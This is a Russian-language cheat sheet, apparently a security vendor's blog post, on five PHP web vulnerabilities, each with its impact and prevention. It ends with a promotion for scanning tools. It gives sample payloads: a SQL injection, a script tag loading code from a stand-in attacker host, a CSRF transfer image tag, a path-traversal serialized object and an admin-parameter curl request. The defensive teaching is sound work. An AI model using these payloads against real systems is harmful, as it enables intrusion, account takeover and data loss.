Cheat sheet: топ 5 уязвимостей в веб-приложениях на PHP

Авторка: Kateryna Ivanenko, Invicti Brand Manager

Мы подготовили обзор 5 частых уязвимостей веб-сайтов на языке PHP, краткий пример, их влияние, и как предотвратить эти недостатки безопасности.

Внимание: примеры приведены исключительно для понимания специалистами по безопасности специфики данных атак, статья никоим образом не призывает к злонамеренным действиям.

1. SQL-инъекция

Что это: вмешательство в базу данных с помощью вредоносных запросов.

Пример злоумышленного SQL-запроса:

SELECT * FROM users WHERE username = '' OR 1=1;-- AND password = ''

Воздействие: может привести к различным последствиям, включая доступ злоумышленника к данным и их утечку, полное удаление таблиц и потери контроля над БД.

Как предотвратить: использование параметризированных запросов или подготовленных операторов (главная лучшая практика), проверка входных данных, минимизация привилегий доступа в БД, детальный вывод ошибок должен быть только в логах.

Более подробную информацию о SQL-инъекции можно прочитать в этих статьях: о ее типах, причинах, и развернуто о ее предотвращении непосредственно для сайтов на языке PHP.

2. Межсайтовый скриптинг (XSS)

Что это: внедрение злонамеренных команд в легитимный код на стороне клиента (обычно JavaScript), выполняемый браузером пользователя.

Пример:

<script src=http://attacker.example.com/xss.js></script>

Влияние: большой спектр последствий, включая перехват сессии, кражу данных, захват учетной записи и перенаправление на вредоносные сайты.

Предотвращение: установка заголовков безопасности Content Security Policy (CSP), очистка входных данных пользователя, экранирование/кодирование исходных данных.

Для проверки своих навыков ручной проверки присутствия XSS, можно обратить внимание на статью об уязвимых тестовых сайтах для этой цели.

3. Подделка межсайтовых запросов (CSRF)

Что это: веб-уязвимость, позволяющая злоумышленнику обманом заставить цель отправить запрос, позволяющий ему выполнять действия в ее аккаунте.

Пример (CSRF на основе GET-запросов, где используется тег image на вредоносной странице):

<img src="http://example.com/bank.php/?action=transfer&target=attacker_account">

Влияние: транзакции и другие нежелательные действия с аккаунтом цели, полная компрометация веб-приложения при захвате аккаунта администратора.

Как предотвратить: использование анти-CSRF токенов, дополнительно применение файлов cookie с атрибутом SameSite.

Рекомендуем ознакомиться с разницей между CSRF и XSS, а также с подробным гайдом по использованию анти-CSRF токенов.

4. PHP Object Injection

Что это: эксплуатация того, что вызов функции unserialize() с неочищенными входными данными пользователя может быть использован для внедрения PHP-объектов в память.

В зависимости от контекста эта уязвимость может привести к инъекции кода, SQL-инъекции, обходу каталога (Path Traversal) и DoS.

Пример (удаление произвольного файла с помощью атаки обхода каталога путем эксплуатации уязвимого метода класса PHP):

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

Влияние: различные последствия в зависимости от проведенной атаки и использованной уязвимости – от DoS до кражи данных.

Как избежать: избегание применения функции unserialize() с входными данными пользователя, вместо этого следует использовать JSON-функции.

5. Сломанный контроль доступа (Broken Access Control)

Что это: класс уязвимостей, когда приложение неправильно применяет правила доступа и пользователь может получить повышенные привилегии.

Пример (получение административных функций по параметру запроса):

curl -i "https://target.example/admin?admin=1"

Влияние: компрометация приложения и выполнения нежелательных действий, требующих высоких привилегий.

Как предотвратить:

  • Централизованная серверная авторизация и проверка доступа при каждом запросе
  • Отсутствие доверия к параметрам клиента для определения ролей или прав
  • Запрет на массовое назначение чувствительных полей (is_admin, role, permissions)
  • Защита административных маршрутов через политики и контроль доступа на основе атрибутов или ролей

Как обнаружить эти уязвимости в веб-приложениях на PHP?

Даже качественно предотвращая данные уязвимости, без тестирования безопасности невозможно быть уверенным, что веб-сайт действительно защищен.

Возникает вопрос: какими методами можно произвести проверку на эти уязвимости?

На ранних этапах разработки веб-сайта следует применять SAST, то есть статический анализ, чтобы уже в начале проекта заботиться о его безопасности. К примеру, это может быть SAST от Mend.io.

Далее следует внедрять DAST (динамическое тестирование безопасности приложений), на более поздних стадиях разработки, в среде тестирования и для продакшна. Он сможет найти, и если это Invicti (на основе Netsparker и Acunetix), то еще и подтвердить существование реальных уязвимостей при выполнении программы.

Наилучшей практикой является сочетание этих методов максимальной эффективности.

Если вы хотите бесплатно протестировать Invicti и Mend.io, которые бесшовно интегрируются в единую AppSec-платформу для управления уязвимостями, то, пожалуйста, оставьте ваши контакты в форме ниже:

Запрос на бесплатное тестирование Invicti/Mend.io

Оставьте контакты и мы с вами свяжемся

Подписаться на новости